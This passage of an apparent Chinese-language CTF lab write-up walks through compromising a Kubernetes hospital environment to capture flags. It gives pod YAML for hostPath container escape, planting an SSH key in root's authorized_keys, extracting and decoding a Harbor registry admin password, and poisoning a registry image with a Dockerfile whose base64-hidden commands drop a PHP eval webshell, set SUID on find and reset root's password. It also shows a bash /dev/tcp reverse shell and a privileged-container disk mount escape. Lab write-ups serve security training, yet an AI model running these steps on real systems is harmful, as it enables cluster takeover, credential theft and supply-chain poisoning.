查看原本node1节点中的pod,可以看到 Kubernetes 的 Secrets 资源有一个harbor-registry-secret,接下来就可以通过添加imagePullSecrets来进行对私有镜像仓库认证,从而拉取 jizhicms:2.5.0镜像
修改后的yaml,对node2跟master节点进行容器挂载逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 apiVersion: v1 kind: Pod metadata: name: simho6 spec: nodeName: master # node2 imagePullSecrets: - name: harbor-registry-secret tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: mycontainer image: 172.22.18.64/hospital/jizhicms:2.5.0 command: ["/bin/sleep", "3650d"] volumeMounts: - name: test mountPath: /adminsim volumes: - name: test hostPath: path: / type: Directory
那为什么拉mysql:5.6镜像就可以直接挂载node2跟master节点呢,可以看一下原本node2节点中的pod就是由mysql:5.6拉取的,其SA为mysql
继续查看该mysql账户,属于admin角色,点进去发现是有众多权限的,这也解释了为什么通过mysql那台服务器读取的 token 有高权限的原因,并且node2跟master节点都能通过mysql:5.6镜像去进行挂载逃逸
因此,这样编写yaml
node2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 apiVersion: v1 kind: Pod metadata: name: simho1 spec: containers: - image: 172.22.18.64/public/mysql:5.6 name: aaa-container volumeMounts: - mountPath: /simho1 name: aaa-volume volumes: - name: aaa-volume hostPath: path: /
master
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 apiVersion: v1 kind: Pod metadata: name: simho2 spec: nodeName: master tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: mycontainer image: 172.22.18.64/public/mysql:5.6 command: ["/bin/sleep", "3650d"] volumeMounts: - name: test mountPath: /adminsim volumes: - name: test hostPath: path: / type: Directory
flag7 任选一个从容器逃逸出来的node宿主机,查看/etc/hosts能够获取三个节点对应的node ip
1 2 3 4 5 6 7 8 root@simho2:/adminsim# cat ./etc/hosts ::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 172.22.15.45 node1 node1 172.22.15.44 node2 node2 172.22.15.75 master master 172.22.15.75 easzlab.io.local
这里查看node1宿主机也有web服务,并且也是极致cms,当时以为172.22.18.61那台的80端口对应的直接是node1宿主机
但是web目录没有当时写马的文件,并且在Dashboard可以看到极致cms那台web容器的yaml配置文件,是将80端口映射出来的
因此与一开始的猜测一样,172.22.18.61虽然对应的是node1节点的宿主机ip,但是其80端口对应的是pod里container的web服务
搞清楚之后,在宿主机写个公钥
1 root@simho2:/adminsim# echo -e '\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/cLKx3VFmrhhVKqesaPH7bbP9wFzxckpLBZdrn0Khq/+g+kWrnU00g20pEu1u5xuR9oUy+YHc2rKAOXhST1MA/VD7nAHOZjf2iwuD10YONNBSJQ0g/v+KMzMn3rTeoX5D0oQcHoyisnOgJf17/8RInSnfXVrZ87xnbgYkXBneBl1RHedaAqodXZmM1INBvEcUQwtrEYK0GAw0vc/8dAt3knryMzhhjlS8zYXP7xFEJSL9cjcfXTeDT/v3AxX6gKv5evvLGRwJ5IvEreU1hNMEzoYt8LrDhsyn/n8SMObsAt9Zgq+mrEkq7NoFGpFegbL0qKBo9Ll/xvoFPC4t6U7LEJHLMCtIxjcvBZAn2KR+wRZWAKJ19rXt8Q09/BVzdzSt521pEZHWhb4ssXek5Q+Wg/3NQsK7fcqnZDZqfz3rtdK93tSNacQ9pGt9Ba0CkxxHwQeJz2ldzJtGNnPpInxukdprAQZbXxKG59NgD1v6IX0WR65PFx6YCrIyaeqoRRs= root@iZf8ze93nwj9zenhhgk508Z\n\n' >> /adminsim/root/.ssh/authorized_keys
成功ssh连上172.22.18.61
1 2 3 4 5 6 7 8 9 10 11 root@iZf8ze93nwj9zenhhgk508Z:/home/test# proxychains ssh root@172.22.18.61 ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:5000-<><>-172.22.18.61:22-<><>-OK Enter passphrase for key '/root/.ssh/id_rsa': Last failed login: Tue Jul 1 00:52:45 CST 2025 from 172.22.18.23 on ssh:notty There were 8 failed login attempts since the last successful login. Last login: Fri Sep 13 15:08:04 2024 from 172.22.18.23 Welcome to Alibaba Cloud Elastic Compute Service ! [root@node1 ~]#
查看网卡,一个是node ip,一个是外网ip(这里的外网指的是相对于kubernetes环境的外网)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.15.45 netmask 255.255.0.0 broadcast 172.22.255.255 inet6 fe80::216:3eff:fe37:f660 prefixlen 64 scopeid 0x20<link> ether 00:16:3e:37:f6:60 txqueuelen 1000 (Ethernet) RX packets 65883 bytes 29270537 (27.9 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 173965 bytes 40294589 (38.4 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.18.61 netmask 255.255.0.0 broadcast 172.22.255.255 inet6 fe80::216:3eff:fe37:f614 prefixlen 64 scopeid 0x20<link> ether 00:16:3e:37:f6:14 txqueuelen 1000 (Ethernet) RX packets 286612 bytes 279041525 (266.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 7634 bytes 1230043 (1.1 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
通过scp传个fscan扫一下172.22.15.75
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 start infoscan 172.22.15.75:179 open 172.22.15.75:22 open 172.22.15.75:111 open 172.22.15.75:2380 open 172.22.15.75:2379 open 172.22.15.75:5000 open 172.22.15.75:6443 open 172.22.15.75:9253 open 172.22.15.75:9353 open 172.22.15.75:10259 open 172.22.15.75:10249 open 172.22.15.75:10257 open 172.22.15.75:10250 open 172.22.15.75:10256 open 172.22.15.75:10248 open 172.22.15.75:30020 open 172.22.15.75:32686 open [*] alive ports len is: 17 start vulscan [*] WebTitle http://172.22.15.75:9253 code:404 len:19 title:None [*] WebTitle http://172.22.15.75:9353 code:404 len:19 title:None [*] WebTitle http://172.22.15.75:5000 code:200 len:0 title:None [*] WebTitle http://172.22.15.75:10248 code:404 len:19 title:None [*] WebTitle https://172.22.15.75:32686 code:200 len:1422 title:Kubernetes Dashboard [*] WebTitle http://172.22.15.75:10249 code:404 len:19 title:None [*] WebTitle http://172.22.15.75:10256 code:404 len:19 title:None [*] WebTitle https://172.22.15.75:10250 code:404 len:19 title:None [*] WebTitle https://172.22.15.75:6443 code:401 len:157 title:None [*] WebTitle https://172.22.15.75:10257 code:403 len:217 title:None [+] InfoScan https://172.22.15.75:32686 [Kubernetes] [*] WebTitle https://172.22.15.75:10259 code:403 len:217 title:None
可以看到开放了6443端口,172.22.15.75:6443跟前面提到的10.68.0.1都指向的是 Kubernetes API Server,只是一个是node ip,一个是 Cluster ip,验证一下,同样可以直接用 kubectl 直接指定 token 执行命令
1 kubectl -s https://172.22.15.75:6443/ --insecure-skip-tls-verify=true --token=eyJhbGci... describe nodes
这里列出集群所有资源类型,可以看到有secrets资源
1 kubectl --kubeconfig k8s.yaml api-resources
显示secrets资源,发现前面Dashboard中看到的harbor-registry-secret,打印出来
1 2 3 kubectl --kubeconfig k8s.yaml get secrets kubectl --kubeconfig k8s.yaml get secrets harbor-registry-secret kubectl --kubeconfig k8s.yaml get secret harbor-registry-secret -o jsonpath='{.data.\.dockerconfigjson}'
base64解码得到 harbor 的admin账密
1 {"auths":{"172.22.18.64":{"username":"admin","password":"password@nk9DLwqce","auth":"YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"}}}
登录之后就可以看到原本看不到的私有镜像仓库了
拉取hospital/flag镜像,拉之前要先用该账密登录一下docker
1 2 3 proxychains docker login 172.22.18.64 docker pull 172.22.18.64/hospital/flag:latest
拉完镜像后启动,进入容器拿到flag7
1 2 docker run -itd --name flag 172.22.18.64/hospital/flag:latest docker exec -it flag /bin/bash
flag8 Harbor镜像同步
接着看hospital:system镜像日志,可以看到admin每隔一段时间就会拉取该镜像
回到master节点那台宿主机,写个公钥
可以看到内网ip172.22.50.75,还是通过scp传fscan扫一下新网段,在172.22.50.45机器有web服务
将hospital/system镜像pull到本地
1 docker pull 172.22.18.64/hospital/system:latest
发现该镜像也有web服务,对比发现该镜像跟172.22.50.45机器的web服务都有p.php文件,因此基本说明admin用户就是定时将镜像给pull到这台机器上
创建恶意Dockerfile文件,主要做了三个步骤
在web目录写webshell
给find文件添加suid权限
将root用户密码改为password
Dockerfile
1 2 3 4 5 FROM 172.22.18.64/hospital/system RUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"]
base64部分
1 2 3 echo '<?php eval($_POST[1]);?>' > /var/www/html/shell.php && chmod u+s /usr/bin/find echo "root:password" | chpasswd
在本地将该Dockerfile文件制作成镜像,并push到docker,等待20分钟一轮的拉取
1 2 proxychains docker build -t 172.22.18.64/hospital/system . proxychains docker push 172.22.18.64/hospital/system
之后蚁剑连接,在tmp目录下新建一个sh脚本,内容是弹一个shell到master节点宿主机
shell.sh
1 2 #!/bin/sh bash -c "/bin/bash -i >& /dev/tcp/172.22.15.75/4567 0>&1"
执行前记得先在master节点宿主机开启监听,应该那台机没有nc,因此先scp传一个上去
1 /usr/bin/find ./ -exec ./shell.sh \;
Docker privileged提权
此时提权到root权限,利用privileged提权逃逸,拿到该宿主机上的最后一个flag
1 2 3 4 5 6 7 8 cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" cat /proc/self/status | grep CapEff # 0000003fffffffff 或是 0000001fffffffff df -h mkdir /simho mount /dev/vda3 /simho cat /simho/flag.txt